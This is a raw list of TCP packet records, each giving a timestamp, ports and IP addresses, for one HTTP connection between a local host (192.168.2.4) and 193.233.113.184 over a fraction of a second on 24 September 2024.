Sep 24, 2024 21:30:10.116540909 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.116564035 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.116569996 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.116599083 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.116611958 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.116635084 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.116669893 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.116689920 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.117321014 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.117353916 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.117373943 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.117388964 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.117393017 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.117423058 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.117434978 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.117458105 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.117466927 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.117491961 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.117501020 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.117526054 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.117538929 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.117561102 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.117566109 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.117594957 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.117605925 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.117629051 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.117640018 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.117681026 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.118222952 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.118257046 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.118273973 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.118289948 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.118302107 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.118324041 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.118334055 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.118360043 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.118367910 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.118395090 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.118405104 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.118427992 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.118438959 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.118463039 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.118472099 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.118498087 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.118510008 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.118562937 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.119122028 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.119157076 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.119179010 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.119189978 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.119203091 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.119225025 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.119236946 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.119261980 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.119272947 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.119297981 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.119307995 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.119332075 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.119338036 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.119366884 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.119390011 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.119436979 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.119437933 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.119483948 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.119987011 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.120037079 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.120043993 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.120079041 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.120094061 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.120112896 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.120122910 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.120146990 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.120157957 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.120182037 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.120193958 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.120217085 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.120227098 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.120258093 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.120274067 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.120290995 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.120301962 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.120342970 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.120919943 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.120958090 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.120970011 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.120992899 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.121002913 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.121026993 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.121037960 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.121062040 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.121092081 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.121095896 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.121104002 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.121133089 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.121153116 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.121169090 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.121201038 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.121203899 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.121220112 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.121253014 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.121541977 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.121560097 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.121575117 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.121591091 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.121604919 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.121623039 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.121623993 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.121632099 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.121640921 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.121649027 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.121656895 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.121673107 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.121680975 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.121690035 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.121704102 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.121707916 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.121725082 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.121740103 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.121762991 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.122539997 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.122555971 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.122570992 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.122586012 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.122587919 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.122602940 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.122616053 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.122620106 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.122637033 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.122648001 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.122653008 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.122668982 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.122669935 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.122688055 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.122701883 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.122713089 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.122737885 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.122761011 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.123553991 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.123569965 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.123584032 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.123598099 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.123604059 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.123615026 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.123627901 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.123631954 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.123652935 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.123661995 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.123668909 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.123683929 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.123683929 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.123703003 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.123720884 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.123724937 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.123760939 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.124219894 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.124238968 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.124253988 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.124269962 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.124272108 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.124301910 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.124332905 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.202625036 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.202646971 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.202665091 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.202786922 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.202801943 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.202819109 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.202836990 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.202852011 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.202855110 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.202884912 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.202922106 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.203030109 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.203078032 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.203177929 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.203195095 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.203211069 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.203238964 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.203263044 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.203461885 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.203479052 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.203488111 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.203494072 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.203509092 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.203516960 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.203574896 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.203617096 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.203809977 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.203838110 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.203855991 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.203875065 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.203907967 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.204121113 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.204137087 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.204153061 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.204166889 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.204174995 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.204185009 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.204201937 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.204220057 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.204221010 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.204237938 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.204251051 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.204253912 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.204271078 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.204272985 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.204298019 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.204329967 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.204933882 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.204950094 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.204965115 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.204979897 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.204997063 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.204998016 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.205013990 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.205030918 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.205032110 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.205049992 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.205074072 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.205095053 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.205554008 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.205569029 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.205584049 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.205600023 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.205615997 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.205627918 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.205632925 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.205651045 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.205662012 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.205668926 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.205687046 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.205694914 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.205703974 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.205718040 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.205722094 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.205774069 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.206481934 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.206499100 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.206512928 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.206518888 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.206531048 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.206547022 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.206562042 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.206576109 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.206578970 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.206595898 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.206609964 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.206613064 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.206626892 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.206641912 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.206646919 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.206665039 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.206724882 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.206724882 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.206724882 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.207467079 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.207501888 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.207535028 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.207540035 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.207571030 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.207571030 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.207607031 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.207609892 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.207617998 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.207647085 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.207659960 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.207698107 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.207716942 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.207735062 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.207743883 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.207766056 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.207782030 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.207802057 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.207820892 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.207839012 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.207849979 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.207869053 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.207885981 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.207904100 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.207926035 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.207971096 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.208368063 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.208401918 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.208435059 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.208442926 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.208453894 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.208470106 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.208476067 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.208503962 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.208518982 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.208539963 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.208550930 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.208569050 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.208585978 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.208601952 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.208616018 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.208636999 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.208655119 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.208671093 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.208683014 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.208705902 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.208714008 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.208741903 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.208753109 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.208789110 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.209280968 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.209316969 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.209342957 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.209348917 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.209363937 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.209383965 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.209395885 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.209418058 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.209431887 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.209453106 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.209462881 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.209486961 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.209506035 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.209521055 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.209534883 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.209553957 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.209568024 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.209587097 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.209599018 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.209618092 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.209640026 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.209650993 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.209672928 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.209686041 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.209688902 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.209718943 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.209741116 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.209757090 CEST	49730	80	192.168.2.4	193.233.113.184
